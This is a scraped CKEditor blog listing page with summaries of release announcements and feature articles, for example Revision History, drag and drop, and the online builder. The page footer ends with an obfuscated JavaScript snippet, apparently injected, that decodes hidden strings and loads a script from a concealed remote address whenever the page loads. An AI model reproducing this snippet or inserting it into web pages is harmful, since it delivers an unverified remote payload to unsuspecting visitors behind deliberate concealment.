Revision History is officially live - CKEditor 5 v28.0.0 released

CKEditor 5 v28.0.0 brings the long-awaited Revision History feature. It is a top-class document versioning tool that allows the users for full control over the editing process. The table feature was expanded with support for captions as well as default table and table cell styles. The integrators and plugin creators will appreciate the new metadata for npm packages and the documentation of the HTML output of the editor features. Improvements were done to the export features and schema definition. Some bug fixes were included, too.

A stylized graphic of different instances of CKEditor 5 with toolbar variations and a link insertion plugin.

You decide - customizability with CKEditor 5

Having the right tools for the job influences your software’s output. The developers of CKEditor 5 know that, which is why our API provides optimal customizability that can help you create the perfect plugin for your software’s needs. We explain how the development teams from three clients of ours — Plutio, Condé Nast, and Neos — used our API to customize CKEditor 5 instances in specific ways with satisfying results. Read on to see what we mean.

CKEditor 5 v27.0.0 with drag and drop

CKEditor 5 v27.0.0 with drag and drop, text part language and bubbling events

The newest release arrived, packed with new features, some improvements, fixes and a security patch. The long-awaited drag and drop functionality is here, covering textual content, widgets as well as HTML and plain text dropping from outside the editor. Language features have been expanded with the ability to set specific language to a selected part of the text and there were improvements to the text-align feature as well as the to-do list feature. And there is still more!

Word and character count in CKEditor 5

Feature of the month - Word and character count in CKEditor 5

There are certain features in editors or word processors that people tend to overlook, even though many of them use these on a daily basis. One such feature is the word and character count. An everyday user may not pay much attention to it, as it was originally aimed primarily at people who need to meet specific word limits while writing. Read the blog post to discover its usefulness in your favorite WYSIWYG editor.

Lists in CKEditor 5

Feature of the month - Lists in CKEditor 5

Among features offered by CKEditor 5 WYSIWYG editor, some are widely used (like text formatting or images) and some are rather specialized (like restricted editing or read-only mode). There are only a few features, however, that are so versatile and applicable to so many use cases and solutions as lists.

Feature of the month - Collaborative writing in CKEditor 5

Feature of the month - Collaborative writing in CKEditor 5

Welcome to the “Feature of the month” blog post. Kickstarting this new series in 2021, we want to spotlight and present selected features we offer with CKEditor 5. Every month, we will present the functions that we find especially interesting or in need of better recognition from our users. This is all in the hope to bring a better editing experience to you.

JSX syntax for CKEditor 5 converters - an experiment

JSX syntax for CKEditor 5 converters - an experiment

The content in the CKEditor 5 is represented by a custom data model. It provides a layer of abstraction over the HTML data that is used to store the content (the data view). To translate the model representation to the target data format (in most cases HTML), the developer must provide a set of converters. This article showcases another approach to writing model-to-view converters and introduces a JSX-compatible syntax that allows to write converters by defining the expected output with syntax that is similar to the HTML data format.

CKEditor 5 v24.0.0 with multiline toolbar

CKEditor 5 v24.0.0 with multiline toolbar and accessible input labels

Working hard on creating content? Fair enough. We will make your work comfortable, with easy access to all the features you need. Welcome to our newest batch of UI enhancements: the multiline (wrapping) toolbar that you all asked for and the accessible input labels on interface items! Not convenient enough? Upload images by pasting their URL, track changes for pasting table styles, integrate with Vue.js 3, use Markdown shortcodes… Simply put - write well, edit well, stay well.

the best open source Markdown editor

CKEditor 5: the best open source Markdown editor

CKEditor is an open source rich-text editor. Even though it is mostly developed by CKSource, it has a large community of contributors backing the development efforts. One of the popular questions that we receive time and time again is the availability of Markdown editing. The simple answer is yes. Let’s dive a little deeper into this topic to get a more elaborate answer as to how.

CKEditor 5 v23.1.0 with raw HTML embedding, reconversion API and pasting tables into tables with track changes

New, advanced features are coming onboard. Embedding arbitrary HTML opens new possibilities for webmasters, while the reconversion introduced in CKEditor v23.1.0 is a great step toward easier, more reliable handling of the downcast conversion process. Pasting tables into tables in track changes mode, documentation updates and a new release of the React component will also, hopefully, please the CKEditor community.

CKEditor 5 v23.0.0 with pagination feature, list styles and improved image upload

Improved plain text pasting coupled with a new pagination feature that lets you control the structure of your output and autolink added to editor builds bring forth an overall excellent experience in WYSIWYG editing. This release also brings enhancements to list styles and image upload. What you edit has never looked so good and so very much exactly the way you want it. Meet CKEditor 5 v23.0.0!

CKEditor 5 v22.0.0 with inserting images via URL, list styles and Markdown plugin

The newest CKEditor 5 is here and it brings a plethora of changes and improvements. There is a new easy way to add images to your documents and you can choose from a variety of list item markers available. The export to PDF and Word features are now out of beta and a new pagination feature is coming soon. Hopefully, all these changes will increase your content creation productivity.

How to print WYSIWYG editor content to PDF

How to print WYSIWYG editor content to PDF - Export to PDF feature released

We are happy to announce the official launch of the new export to PDF feature for CKEditor 4 and CKEditor 5. This feature allows you to easily print the content of your WYSIWYG editor to a PDF file. What's more, the generated PDF document will preserve not only the rich-text content that you create in the editor, but also its structure and styling. Read on for more information!

CKEditor 5 v19.1.1 with table enhancements, typing around widgets and print to PDF feature

We are happy to announce the release of CKEditor 5 v19.1.1 that introduces further enhancements for the table feature, improved typing around widgets as well as the new PDF export feature. In addition to that, we focused on the adjustments of the editor's development tools to the newly adopted monorepo infrastructure. Read on for more details about these and other improvements!

CKEditor 5 now with table styling support and special characters plugins.

CKEditor 5 v17.0.0 with table styles, special characters and performance improvements.

We are happy to announce the release of CKEditor 5 v17.0.0 that introduces two major and frequently requested features: table styling support and the special characters plugin. In addition to that, we worked on data processing and editor initialization performance as well as on bug fixes. Last but not least, an online builder for CKEditor 5 is now available for all your custom WYSIWYG editor builds. There are also some breaking changes, so read on for more details!

CKEditor 5 Online builder

The easiest way to customize a WYSIWYG editor - CKEditor 5 online builder

There are many WYSIWYG editors on the market and they come in different flavors. At CKEditor, we believe that your needs should shape the editor that you choose, not the other way around. Instead of creating a one-size-fits-all product, we design our editors in a way that makes it easy to mix and match the features and UI you want. With the release of CKEditor 5 online builder, we have just made the editor customization process easy and intuitive!

CKEditor 5 release

CKEditor 5 v15.0.0 with horizontal line, page break, responsive toolbar and SVG upload support

We are happy to announce the release of CKEditor 5 v15.0.0. This editor version introduces support for inserting horizontal lines, page breaks and SVG images into the WYSIWYG editor. It also allows you to define the document title section thanks to the new title plugin. The editor toolbar is now responsive, which improves the UX, especially for mobile devices. But there is more - so read on!

CKEditor 5 collaboration journey and update on what were we up to

Collaboration journey of CKEditor 5 - What were we up to

It has been a while since we updated you about how we are doing on the collaboration front. Today, we are happy to announce that all three of CKEditor 5 collaboration features - comments, track changes, and real-time collaborative editing are now in perfect harmony. You can edit, use key features like tables, paste from Word and Google Docs, comment or suggest changes on the document with collaborators. All in real-time.

No entries

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });